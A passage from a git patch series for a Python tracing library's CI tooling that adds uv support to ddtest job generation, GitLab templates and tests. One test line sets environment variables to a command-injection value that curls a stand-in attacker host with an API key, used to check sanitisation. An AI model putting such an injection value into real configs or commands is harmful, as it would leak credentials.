DDTest backend, honoring an explicit CI override.""" + selected = os.environ.get("DDTEST_EXECUTION_RUNNER", "auto").lower() + if selected not in ("auto", "riot", "uv"): + raise ValueError("DDTEST_EXECUTION_RUNNER must be one of: auto, riot, uv") + if selected == "auto": + return "uv" if info.uv_venvs else "riot" + # A global pipeline override still has to support suites that have not + # migrated to uv. They retain Riot until a uv environment exists. + if selected == "uv" and not info.uv_venvs: + return "riot" + return selected + + def _get_bool_env(name: str) -> str: """Return "true"/"false" for a boolean environment variable. @@ -201,6 +215,7 @@ class SuiteVenvInfo: # Riot metadata remains available for ddtest fallback jobs, including # migrated suites whose regular CI jobs use uv. riot_venvs: tuple[tuple[str, str], ...] = () + uv_venvs: tuple[tuple[str, str], ...] = () venv_test_locations: t.Optional[dict[str, str]] = None @@ -286,7 +301,14 @@ def collect_all_suite_venv_info(suite_configs: dict[str, dict]) -> dict[str, Sui python_versions={environment.python for environment in environments}, environment_hashes=tuple(environment.hash for environment in environments), riot_venvs=riot_info.riot_venvs if riot_info else (), - venv_test_locations=riot_info.venv_test_locations if riot_info else None, + uv_venvs=tuple((environment.hash, environment.python) for environment in environments), + venv_test_locations={ + **((riot_info.venv_test_locations or {}) if riot_info else {}), + **{ + environment.hash: environment.runs[0].environment.get("DDTEST_TESTS_LOCATION", "") + for environment in environments + }, + }, ) return result @@ -553,7 +575,10 @@ def _gen_tests(suites: dict, required_suites: list[str]) -> None: for suite in non_skipped: if not suites[suite].get("ddtest") or suite not in suite_venv_info: continue - _ddtest_module().validate_ddtest_venv_test_locations(suite, suite_venv_info[suite]) + info = suite_venv_info[suite] + runner = _ddtest_execution_runner(info) + venvs = info.uv_venvs if runner == "uv" else info.riot_venvs + _ddtest_module().validate_ddtest_venv_test_locations(suite, venvs, info.venv_test_locations) # Populate the module-level global so gen_build_base_venvs can use it _global_python_versions = set() @@ -609,14 +634,19 @@ def _gen_tests(suites: dict, required_suites: list[str]) -> None: py_versions = suite_venv_info[suite].python_versions if suite in suite_venv_info else None if suite_config.get("ddtest"): - riot_venvs = suite_venv_info[suite].riot_venvs if suite in suite_venv_info else () - if not riot_venvs: - LOGGER.warning("Suite %s opted into ddtest but has no Riot fallback environments; skipping", suite) + info = suite_venv_info.get(suite) + if info is None: + LOGGER.warning("Suite %s opted into ddtest but has no test environments; skipping", suite) + continue + runner = _ddtest_execution_runner(info) + venvs = info.uv_venvs if runner == "uv" else info.riot_venvs + if not venvs: + LOGGER.warning("Suite %s has no %s environments for ddtest; skipping", suite, runner) continue k = _ddtest_module().ddtest_k(suite_config) - LOGGER.info("Suite %s: ddtest Riot fallback (venvs=%d, nodes/venv=%d)", suite, len(riot_venvs), k) + LOGGER.info("Suite %s: ddtest %s runner (venvs=%d, nodes/venv=%d)", suite, runner, len(venvs), k) _ddtest_module().emit_ddtest_jobs( - f, suite, stage, clean_name, suite_config, list(riot_venvs), k, TESTRUNNER_IMAGE_HASH + f, suite, stage, clean_name, suite_config, list(venvs), k, TESTRUNNER_IMAGE_HASH, runner ) continue diff --git a/scripts/run-tests b/scripts/run-tests index 4c08c2ac5ab..12324a0dec0 100755 --- a/scripts/run-tests +++ b/scripts/run-tests @@ -754,8 +754,44 @@ class TestRunner: run: TestRun, pytest_args: list[str], forwarded_env: dict[str, str], + ddtest_mode: Optional[str] = None, + ddtest_nodes: int = 1, + ddtest_ci_node: int = 0, + ddtest_ci_node_workers: int = 1, ) -> list[str]: - command = shlex.split(run.command) + if ddtest_mode == "plan": + tests_location = run.environment.get("DDTEST_TESTS_LOCATION") + if not tests_location: + raise ValueError(f"{environment.hash} has no DDTEST_TESTS_LOCATION") + command = [ + "ddtest", + "plan", + "--platform", + "python", + "--framework", + "pytest", + "--tests-location", + tests_location, + "--min-parallelism", + str(ddtest_nodes), + "--max-parallelism", + str(ddtest_nodes), + ] + elif ddtest_mode == "run": + command = [ + "ddtest", + "run", + "--platform", + "python", + "--framework", + "pytest", + "--ci-node", + str(ddtest_ci_node), + "--ci-node-workers", + str(ddtest_ci_node_workers), + ] + else: + command = shlex.split(run.command) expanded = [] for argument in command: if argument == "{cmdargs}": @@ -779,6 +815,16 @@ class TestRunner: run_env = dict(forwarded_env) run_env.update(run.environment) + if ddtest_mode: + ddtest_command = " ".join(shlex.quote(argument) for argument in expanded) + prefix = 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; ' + if ddtest_mode == "plan": + prefix += 'export DD_TRACE_AGENT_URL="$DDTEST_PLAN_AGENT_URL"; ' + if ddtest_mode == "run": + ddtest_command += ( + '; coverage_files=(.coverage.*); if [[ -e "${coverage_files[0]}" ]]; then coverage combine; fi' + ) + expanded = ["bash", "-c", prefix + ddtest_command] return self._ddtest_command(expanded, self._uv_command_environment(prepared, run_env)) def _run_uv_suite( @@ -788,6 +834,10 @@ class TestRunner: test_args: list[str], skip_ddtrace_install: bool, dry_run: bool = False, + ddtest_mode: Optional[str] = None, + ddtest_nodes: int = 1, + ddtest_ci_node: int = 0, + ddtest_ci_node_workers: int = 1, ) -> bool: pytest_args = test_args[1:] if test_args[:1] == ["--"] else test_args @@ -817,7 +867,17 @@ class TestRunner: if dry_run: print(f"[DRY RUN] Would synchronize {prepared.path} from {environment.lockfile}") for run in environment.runs: - command = self._uv_test_command(environment, prepared, run, pytest_args, forwarded_env) + command = self._uv_test_command( + environment, + prepared, + run, + pytest_args, + forwarded_env, + ddtest_mode, + ddtest_nodes, + ddtest_ci_node, + ddtest_ci_node_workers, + ) print(f"[DRY RUN] Would execute: {' '.join(command)}") continue try: @@ -839,7 +899,17 @@ class TestRunner: for run in environment.runs: try: - command = self._uv_test_command(environment, prepared, run, pytest_args, forwarded_env) + command = self._uv_test_command( + environment, + prepared, + run, + pytest_args, + forwarded_env, + ddtest_mode, + ddtest_nodes, + ddtest_ci_node, + ddtest_ci_node_workers, + ) except ValueError as error: print(f"❌ {error}") return False @@ -860,6 +930,10 @@ class TestRunner: test_args: Optional[list[str]] = None, skip_ddtrace_install: bool = False, dry_run: bool = False, + ddtest_mode: Optional[str] = None, + ddtest_nodes: int = 1, + ddtest_ci_node: int = 0, + ddtest_ci_node_workers: int = 1, ) -> bool: """Execute the selected venvs, grouped by suite with per-suite service management.""" if not selected_venvs: @@ -967,6 +1041,10 @@ class TestRunner: test_args or [], skip_ddtrace_install, dry_run, + ddtest_mode, + ddtest_nodes, + ddtest_ci_node, + ddtest_ci_node_workers, ) if suite_services and not self.in_ci: self.stop_services(suite_services) @@ -1255,6 +1333,13 @@ Examples: "--list", action="store_true", help="Output JSON with all matching suites and venvs (for AI agents)" ) + parser.add_argument( + "--ddtest-mode", choices=("plan", "run"), help="Execute ddtest planning or a planned CI partition" + ) + parser.add_argument("--ddtest-nodes", type=int, default=1, help="Number of DDTest plan partitions") + parser.add_argument("--ddtest-ci-node", type=int, default=0, help="Zero-based DDTest CI partition") + parser.add_argument("--ddtest-ci-node-workers", type=int, default=1, help="Workers per DDTest CI partition") + parser.add_argument( "--venv", action="append", @@ -1332,6 +1417,10 @@ Examples: test_args=test_args, skip_ddtrace_install=skip_ddtrace_install, dry_run=args.dry_run, + ddtest_mode=args.ddtest_mode, + ddtest_nodes=args.ddtest_nodes, + ddtest_ci_node=args.ddtest_ci_node, + ddtest_ci_node_workers=args.ddtest_ci_node_workers, ) return 0 if success else 1 @@ -1389,6 +1478,10 @@ Examples: test_args=test_args, skip_ddtrace_install=skip_ddtrace_install, dry_run=args.dry_run, + ddtest_mode=args.ddtest_mode, + ddtest_nodes=args.ddtest_nodes, + ddtest_ci_node=args.ddtest_ci_node, + ddtest_ci_node_workers=args.ddtest_ci_node_workers, ) return 0 if success else 1 diff --git a/tests/internal/test_gen_gitlab_config.py b/tests/internal/test_gen_gitlab_config.py index 431fcef6b07..4bf25681e96 100644 --- a/tests/internal/test_gen_gitlab_config.py +++ b/tests/internal/test_gen_gitlab_config.py @@ -82,7 +82,20 @@ def test_ddtest_requires_a_test_path_for_every_venv(gen_gitlab_config_mod): ) with pytest.raises(ValueError, match="hash-without-path"): - gen_gitlab_config_mod._ddtest_module().validate_ddtest_venv_test_locations("internal", info) + gen_gitlab_config_mod._ddtest_module().validate_ddtest_venv_test_locations( + "internal", info.riot_venvs, info.venv_test_locations + ) + + +def test_ddtest_auto_runner_uses_uv_for_migrated_suite(gen_gitlab_config_mod, monkeypatch): + monkeypatch.setenv("DDTEST_EXECUTION_RUNNER", "auto") + info = gen_gitlab_config_mod.SuiteVenvInfo( + venv_count=1, + python_versions={"3.12"}, + uv_venvs=(("uv-hash", "3.12"),), + ) + + assert gen_gitlab_config_mod._ddtest_execution_runner(info) == "uv" def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): @@ -99,6 +112,7 @@ def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): venvs=[("abc1234", "3.13"), ("def5678", "3.14")], k=1, testrunner_image_hash="image-hash", + runner="riot", ) content = output.getvalue() @@ -115,6 +129,22 @@ def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): assert 'PYTHON_VERSION: "3.13"' not in run_314_needs +def test_ddtest_uv_jobs_use_generic_environment_hashes(gen_gitlab_config_mod): + output = io.StringIO() + ddtest_jobs = gen_gitlab_config_mod._ddtest_module() + + with mock.patch.object(ddtest_jobs.subprocess, "check_output", return_value=b"pip-key\n"): + ddtest_jobs.emit_ddtest_jobs( + output, "tracer", "core", "tracer", {"env": {}}, [("uv123", "3.12")], 2, "image-hash", "uv" + ) + + content = output.getvalue() + assert "extends: .ddtest_plan_uv" in content + assert "extends: .ddtest_run_uv" in content + assert "TEST_ENVIRONMENT_HASH_PYTHON: uv123:3.12" in content + assert 'TEST_ENVIRONMENT_HASH: "uv123"' in content + + def test_build_base_venvs_template_gets_sanitized_bool_values(gen_gitlab_config_mod, monkeypatch, tmp_path): monkeypatch.setenv("NIGHTLY_BUILD", "$(curl attacker/$DD_API_KEY)") monkeypatch.setenv("UNPIN_DEPENDENCIES", "$(curl attacker/$DD_API_KEY)") From 4d9d24e1cce2b2aa3560fe1c75c4b50c1c8fb20d Mon Sep 17 00:00:00 2001 From: Federico Mon Date: Wed, 2 Sep 2026 18:40:34 +0200 Subject: [PATCH 08/15] refactor(ci): keep ddtest out of test runner --- .gitlab/tests.yml | 29 ++++++- scripts/ddtest_jobs.py | 9 ++- scripts/gen_gitlab_config.py | 14 +++- scripts/run-tests | 99 +----------------------- tests/internal/test_gen_gitlab_config.py | 14 +++- 5 files changed, 61 insertions(+), 104 deletions(-) diff --git a/.gitlab/tests.yml b/.gitlab/tests.yml index 95324aff659..502a7f16616 100644 --- a/.gitlab/tests.yml +++ b/.gitlab/tests.yml @@ -137,8 +137,15 @@ include: - | set -euo pipefail for hash_py in ${TEST_ENVIRONMENT_HASH_PYTHON}; do - environment_hash="${hash_py%%:*}" - scripts/run-tests -s --venv "${environment_hash}" --ddtest-mode plan --ddtest-nodes "${DDTEST_NODES}" + IFS=: read -r environment_hash python_version lockfile tests_location <<< "${hash_py}" + requirements="$(mktemp)" + grep -vi '^ddtrace==' "${lockfile}" > "${requirements}" + wheel="$(find ".cache/ddtrace-test-wheels/${python_version}" -name 'ddtrace-*.whl' -print -quit)" + uv run --isolated --no-project --python "python${python_version}" --no-python-downloads \ + --with-requirements "${requirements}" --with "${wheel}" \ + ddtest plan --platform python --framework pytest --tests-location "${tests_location}" \ + --min-parallelism "${DDTEST_NODES}" --max-parallelism "${DDTEST_NODES}" + rm -f "${requirements}" mv .testoptimization ".testoptimization-${environment_hash}" done artifacts: @@ -154,7 +161,14 @@ include: rm -rf .testoptimization mv ".testoptimization-${TEST_ENVIRONMENT_HASH}" .testoptimization export COVERAGE_FILE=".coverage.${TEST_ENVIRONMENT_HASH}.${CI_NODE_INDEX}" - scripts/run-tests -s --venv "${TEST_ENVIRONMENT_HASH}" --ddtest-mode run --ddtest-ci-node "${CI_NODE_INDEX}" --ddtest-ci-node-workers 4 + requirements="$(mktemp)" + grep -vi '^ddtrace==' "${TEST_ENVIRONMENT_LOCKFILE}" > "${requirements}" + wheel="$(find ".cache/ddtrace-test-wheels/${PYTHON_VERSION}" -name 'ddtrace-*.whl' -print -quit)" + uv run --isolated --no-project --python "python${PYTHON_VERSION}" --no-python-downloads \ + --with-requirements "${requirements}" --with "${wheel}" \ + ddtest run --platform python --framework pytest --ci-node "${CI_NODE_INDEX}" --ci-node-workers 4 + rm -f "${requirements}" + coverage combine || true .ddtest_run_uv_snapshot: extends: .ddtest_base_uv_snapshot @@ -163,7 +177,14 @@ include: rm -rf .testoptimization mv ".testoptimization-${TEST_ENVIRONMENT_HASH}" .testoptimization export COVERAGE_FILE=".coverage.${TEST_ENVIRONMENT_HASH}.${CI_NODE_INDEX}" - scripts/run-tests -s --venv "${TEST_ENVIRONMENT_HASH}" --ddtest-mode run --ddtest-ci-node "${CI_NODE_INDEX}" --ddtest-ci-node-workers 1 + requirements="$(mktemp)" + grep -vi '^ddtrace==' "${TEST_ENVIRONMENT_LOCKFILE}" > "${requirements}" + wheel="$(find ".cache/ddtrace-test-wheels/${PYTHON_VERSION}" -name 'ddtrace-*.whl' -print -quit)" + uv run --isolated --no-project --python "python${PYTHON_VERSION}" --no-python-downloads \ + --with-requirements "${requirements}" --with "${wheel}" \ + ddtest run --platform python --framework pytest --ci-node "${CI_NODE_INDEX}" --ci-node-workers 1 + rm -f "${requirements}" + coverage combine || true # --------------------------------------------------------------------------- # ddtest job templates. Used by gen_gitlab_config.py for suites with diff --git a/scripts/ddtest_jobs.py b/scripts/ddtest_jobs.py index de02ec0a7cf..a5e063e600b 100644 --- a/scripts/ddtest_jobs.py +++ b/scripts/ddtest_jobs.py @@ -100,6 +100,8 @@ def emit_ddtest_jobs( k: int, testrunner_image_hash: str, runner: str, + uv_lockfiles: t.Optional[dict[str, str]] = None, + test_locations: t.Optional[dict[str, str]] = None, ) -> None: """Emit ddtest-plan and ddtest-run jobs for one suite. @@ -200,12 +202,15 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: emit_before_script(plan=True) environment_hashes = " ".join(h for h, _ in venvs) hash_prefix = "TEST_ENVIRONMENT" if runner == "uv" else "RIOT" + hash_python = " ".join( + f"{h}:{py}:{uv_lockfiles[h]}:{test_locations[h]}" if runner == "uv" else f"{h}:{py}" for h, py in venvs + ) emit_variables( { "DDTEST_EXECUTION_RUNNER": runner, "DDTEST_NODES": str(k), f"{hash_prefix}_HASHES": environment_hashes, - f"{hash_prefix}_HASH_PYTHON": " ".join(f"{h}:{py}" for h, py in venvs), + f"{hash_prefix}_HASH_PYTHON": hash_python, "DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest", } ) @@ -248,6 +253,8 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: for node in range(k): print(f' - {hash_prefix}_HASH: "{h}"', file=f) print(f' PYTHON_VERSION: "{py}"', file=f) + if runner == "uv": + print(f' TEST_ENVIRONMENT_LOCKFILE: "{uv_lockfiles[h]}"', file=f) print(f" CI_NODE_INDEX: {node}", file=f) if retry is not None: print(f" retry: {retry}", file=f) diff --git a/scripts/gen_gitlab_config.py b/scripts/gen_gitlab_config.py index 02259067b62..adda6aaae2b 100755 --- a/scripts/gen_gitlab_config.py +++ b/scripts/gen_gitlab_config.py @@ -216,6 +216,7 @@ class SuiteVenvInfo: # migrated suites whose regular CI jobs use uv. riot_venvs: tuple[tuple[str, str], ...] = () uv_venvs: tuple[tuple[str, str], ...] = () + uv_lockfiles: t.Optional[dict[str, str]] = None venv_test_locations: t.Optional[dict[str, str]] = None @@ -302,6 +303,7 @@ def collect_all_suite_venv_info(suite_configs: dict[str, dict]) -> dict[str, Sui environment_hashes=tuple(environment.hash for environment in environments), riot_venvs=riot_info.riot_venvs if riot_info else (), uv_venvs=tuple((environment.hash, environment.python) for environment in environments), + uv_lockfiles={environment.hash: environment.lockfile for environment in environments}, venv_test_locations={ **((riot_info.venv_test_locations or {}) if riot_info else {}), **{ @@ -646,7 +648,17 @@ def _gen_tests(suites: dict, required_suites: list[str]) -> None: k = _ddtest_module().ddtest_k(suite_config) LOGGER.info("Suite %s: ddtest %s runner (venvs=%d, nodes/venv=%d)", suite, runner, len(venvs), k) _ddtest_module().emit_ddtest_jobs( - f, suite, stage, clean_name, suite_config, list(venvs), k, TESTRUNNER_IMAGE_HASH, runner + f, + suite, + stage, + clean_name, + suite_config, + list(venvs), + k, + TESTRUNNER_IMAGE_HASH, + runner, + info.uv_lockfiles if runner == "uv" else None, + info.venv_test_locations if runner == "uv" else None, ) continue diff --git a/scripts/run-tests b/scripts/run-tests index 12324a0dec0..4c08c2ac5ab 100755 --- a/scripts/run-tests +++ b/scripts/run-tests @@ -754,44 +754,8 @@ class TestRunner: run: TestRun, pytest_args: list[str], forwarded_env: dict[str, str], - ddtest_mode: Optional[str] = None, - ddtest_nodes: int = 1, - ddtest_ci_node: int = 0, - ddtest_ci_node_workers: int = 1, ) -> list[str]: - if ddtest_mode == "plan": - tests_location = run.environment.get("DDTEST_TESTS_LOCATION") - if not tests_location: - raise ValueError(f"{environment.hash} has no DDTEST_TESTS_LOCATION") - command = [ - "ddtest", - "plan", - "--platform", - "python", - "--framework", - "pytest", - "--tests-location", - tests_location, - "--min-parallelism", - str(ddtest_nodes), - "--max-parallelism", - str(ddtest_nodes), - ] - elif ddtest_mode == "run": - command = [ - "ddtest", - "run", - "--platform", - "python", - "--framework", - "pytest", - "--ci-node", - str(ddtest_ci_node), - "--ci-node-workers", - str(ddtest_ci_node_workers), - ] - else: - command = shlex.split(run.command) + command = shlex.split(run.command) expanded = [] for argument in command: if argument == "{cmdargs}": @@ -815,16 +779,6 @@ class TestRunner: run_env = dict(forwarded_env) run_env.update(run.environment) - if ddtest_mode: - ddtest_command = " ".join(shlex.quote(argument) for argument in expanded) - prefix = 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; ' - if ddtest_mode == "plan": - prefix += 'export DD_TRACE_AGENT_URL="$DDTEST_PLAN_AGENT_URL"; ' - if ddtest_mode == "run": - ddtest_command += ( - '; coverage_files=(.coverage.*); if [[ -e "${coverage_files[0]}" ]]; then coverage combine; fi' - ) - expanded = ["bash", "-c", prefix + ddtest_command] return self._ddtest_command(expanded, self._uv_command_environment(prepared, run_env)) def _run_uv_suite( @@ -834,10 +788,6 @@ class TestRunner: test_args: list[str], skip_ddtrace_install: bool, dry_run: bool = False, - ddtest_mode: Optional[str] = None, - ddtest_nodes: int = 1, - ddtest_ci_node: int = 0, - ddtest_ci_node_workers: int = 1, ) -> bool: pytest_args = test_args[1:] if test_args[:1] == ["--"] else test_args @@ -867,17 +817,7 @@ class TestRunner: if dry_run: print(f"[DRY RUN] Would synchronize {prepared.path} from {environment.lockfile}") for run in environment.runs: - command = self._uv_test_command( - environment, - prepared, - run, - pytest_args, - forwarded_env, - ddtest_mode, - ddtest_nodes, - ddtest_ci_node, - ddtest_ci_node_workers, - ) + command = self._uv_test_command(environment, prepared, run, pytest_args, forwarded_env) print(f"[DRY RUN] Would execute: {' '.join(command)}") continue try: @@ -899,17 +839,7 @@ class TestRunner: for run in environment.runs: try: - command = self._uv_test_command( - environment, - prepared, - run, - pytest_args, - forwarded_env, - ddtest_mode, - ddtest_nodes, - ddtest_ci_node, - ddtest_ci_node_workers, - ) + command = self._uv_test_command(environment, prepared, run, pytest_args, forwarded_env) except ValueError as error: print(f"❌ {error}") return False @@ -930,10 +860,6 @@ class TestRunner: test_args: Optional[list[str]] = None, skip_ddtrace_install: bool = False, dry_run: bool = False, - ddtest_mode: Optional[str] = None, - ddtest_nodes: int = 1, - ddtest_ci_node: int = 0, - ddtest_ci_node_workers: int = 1, ) -> bool: """Execute the selected venvs, grouped by suite with per-suite service management.""" if not selected_venvs: @@ -1041,10 +967,6 @@ class TestRunner: test_args or [], skip_ddtrace_install, dry_run, - ddtest_mode, - ddtest_nodes, - ddtest_ci_node, - ddtest_ci_node_workers, ) if suite_services and not self.in_ci: self.stop_services(suite_services) @@ -1333,13 +1255,6 @@ Examples: "--list", action="store_true", help="Output JSON with all matching suites and venvs (for AI agents)" ) - parser.add_argument( - "--ddtest-mode", choices=("plan", "run"), help="Execute ddtest planning or a planned CI partition" - ) - parser.add_argument("--ddtest-nodes", type=int, default=1, help="Number of DDTest plan partitions") - parser.add_argument("--ddtest-ci-node", type=int, default=0, help="Zero-based DDTest CI partition") - parser.add_argument("--ddtest-ci-node-workers", type=int, default=1, help="Workers per DDTest CI partition") - parser.add_argument( "--venv", action="append", @@ -1417,10 +1332,6 @@ Examples: test_args=test_args, skip_ddtrace_install=skip_ddtrace_install, dry_run=args.dry_run, - ddtest_mode=args.ddtest_mode, - ddtest_nodes=args.ddtest_nodes, - ddtest_ci_node=args.ddtest_ci_node, - ddtest_ci_node_workers=args.ddtest_ci_node_workers, ) return 0 if success else 1 @@ -1478,10 +1389,6 @@ Examples: test_args=test_args, skip_ddtrace_install=skip_ddtrace_install, dry_run=args.dry_run, - ddtest_mode=args.ddtest_mode, - ddtest_nodes=args.ddtest_nodes, - ddtest_ci_node=args.ddtest_ci_node, - ddtest_ci_node_workers=args.ddtest_ci_node_workers, ) return 0 if success else 1 diff --git a/tests/internal/test_gen_gitlab_config.py b/tests/internal/test_gen_gitlab_config.py index 4bf25681e96..61fe0c9ce00 100644 --- a/tests/internal/test_gen_gitlab_config.py +++ b/tests/internal/test_gen_gitlab_config.py @@ -135,13 +135,23 @@ def test_ddtest_uv_jobs_use_generic_environment_hashes(gen_gitlab_config_mod): with mock.patch.object(ddtest_jobs.subprocess, "check_output", return_value=b"pip-key\n"): ddtest_jobs.emit_ddtest_jobs( - output, "tracer", "core", "tracer", {"env": {}}, [("uv123", "3.12")], 2, "image-hash", "uv" + output, + "tracer", + "core", + "tracer", + {"env": {}}, + [("uv123", "3.12")], + 2, + "image-hash", + "uv", + {"uv123": ".riot/requirements/uv123.txt"}, + {"uv123": "tests/tracer/**/test*.py"}, ) content = output.getvalue() assert "extends: .ddtest_plan_uv" in content assert "extends: .ddtest_run_uv" in content - assert "TEST_ENVIRONMENT_HASH_PYTHON: uv123:3.12" in content + assert "TEST_ENVIRONMENT_HASH_PYTHON: uv123:3.12:.riot/requirements/uv123.txt:tests/tracer/**/test*.py" in content assert 'TEST_ENVIRONMENT_HASH: "uv123"' in content From 0903f267413296428665ecb7b3177d1df1d851a5 Mon Sep 17 00:00:00 2001 From: Federico Mon Date: Wed, 2 Sep 2026 19:08:48 +0200 Subject: [PATCH 09/15] fix(ci): serialize tracer ddtest workers --- .gitlab/tests.yml | 8 ++++---- scripts/ddtest_jobs.py | 10 ++++++++++ tests/internal/test_gen_gitlab_config.py | 5 +++++ tests/suitespec.yml | 2 ++ 4 files changed, 21 insertions(+), 4 deletions(-) diff --git a/.gitlab/tests.yml b/.gitlab/tests.yml index 502a7f16616..0a5b2e625a6 100644 --- a/.gitlab/tests.yml +++ b/.gitlab/tests.yml @@ -166,7 +166,7 @@ include: wheel="$(find ".cache/ddtrace-test-wheels/${PYTHON_VERSION}" -name 'ddtrace-*.whl' -print -quit)" uv run --isolated --no-project --python "python${PYTHON_VERSION}" --no-python-downloads \ --with-requirements "${requirements}" --with "${wheel}" \ - ddtest run --platform python --framework pytest --ci-node "${CI_NODE_INDEX}" --ci-node-workers 4 + ddtest run --platform python --framework pytest --ci-node "${CI_NODE_INDEX}" --ci-node-workers "${DDTEST_CI_NODE_WORKERS}" rm -f "${requirements}" coverage combine || true @@ -182,7 +182,7 @@ include: wheel="$(find ".cache/ddtrace-test-wheels/${PYTHON_VERSION}" -name 'ddtrace-*.whl' -print -quit)" uv run --isolated --no-project --python "python${PYTHON_VERSION}" --no-python-downloads \ --with-requirements "${requirements}" --with "${wheel}" \ - ddtest run --platform python --framework pytest --ci-node "${CI_NODE_INDEX}" --ci-node-workers 1 + ddtest run --platform python --framework pytest --ci-node "${CI_NODE_INDEX}" --ci-node-workers "${DDTEST_CI_NODE_WORKERS}" rm -f "${requirements}" coverage combine || true @@ -359,7 +359,7 @@ include: # Keep CI Visibility session names tied to the CI job and test command; # ddtest expands these placeholders for each local worker. "${riot_cmd[@]}" --command \ - 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers 4; coverage_files=(.coverage.*); if [[ -e "${{coverage_files[0]}}" ]]; then coverage combine; fi' \ + 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers "$DDTEST_CI_NODE_WORKERS"; coverage_files=(.coverage.*); if [[ -e "${{coverage_files[0]}}" ]]; then coverage combine; fi' \ "${RIOT_HASH}" .ddtest_run_snapshot: @@ -374,7 +374,7 @@ include: # is session-token-keyed, and parallel xdist workers cause cross-session # contamination (wrong stats, '400: list index out of range'). "${riot_cmd[@]}" --command \ - 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; export DD_TRACE_AGENT_URL="http://testagent:9126"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers 1; coverage_files=(.coverage.*); if [[ -e "${{coverage_files[0]}}" ]]; then coverage combine; fi' \ + 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; export DD_TRACE_AGENT_URL="http://testagent:9126"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers "$DDTEST_CI_NODE_WORKERS"; coverage_files=(.coverage.*); if [[ -e "${{coverage_files[0]}}" ]]; then coverage combine; fi' \ "${RIOT_HASH}" # Required jobs will appear here diff --git a/scripts/ddtest_jobs.py b/scripts/ddtest_jobs.py index a5e063e600b..9414c1d14ff 100644 --- a/scripts/ddtest_jobs.py +++ b/scripts/ddtest_jobs.py @@ -60,6 +60,14 @@ def ddtest_k(config: dict) -> int: return int(k) +def ddtest_workers(config: dict) -> int: + """Return DDTest worker processes per CI node for a suite.""" + workers = config.get("ddtest_workers", 1 if config.get("snapshot") else 4) + if workers < 1: + raise ValueError("ddtest_workers must be at least 1") + return int(workers) + + def _ddtest_base(snapshot: bool, gpu: bool, runner: str) -> str: """Return the hidden base template a ddtest suite's before_script references.""" base = ".ddtest_base_uv" if runner == "uv" else ".ddtest_base" @@ -112,6 +120,7 @@ def emit_ddtest_jobs( """ snapshot = config.get("snapshot", False) gpu = config.get("gpu", False) + workers = ddtest_workers(config) services = list(dict.fromkeys(config.get("services") or [])) env = dict(config.get("env") or {}) retry = config.get("retry") @@ -209,6 +218,7 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: { "DDTEST_EXECUTION_RUNNER": runner, "DDTEST_NODES": str(k), + "DDTEST_CI_NODE_WORKERS": str(workers), f"{hash_prefix}_HASHES": environment_hashes, f"{hash_prefix}_HASH_PYTHON": hash_python, "DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest", diff --git a/tests/internal/test_gen_gitlab_config.py b/tests/internal/test_gen_gitlab_config.py index 61fe0c9ce00..cb1018dbef4 100644 --- a/tests/internal/test_gen_gitlab_config.py +++ b/tests/internal/test_gen_gitlab_config.py @@ -121,6 +121,7 @@ def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): assert "PIP_CACHE_KEY: pip-key" in content assert "key: v1-pip-${PIP_CACHE_KEY}-image-hash-cache" in content assert "RIOT_HASH_PYTHON: abc1234:3.13 def5678:3.14" in content + assert "DDTEST_CI_NODE_WORKERS: 4" in content run_313_needs = content.split("core/internal::ddtest-run-3.13:", 1)[1].split("\n parallel:\n", 1)[0] run_314_needs = content.split("core/internal::ddtest-run-3.14:", 1)[1].split("\n parallel:\n", 1)[0] assert 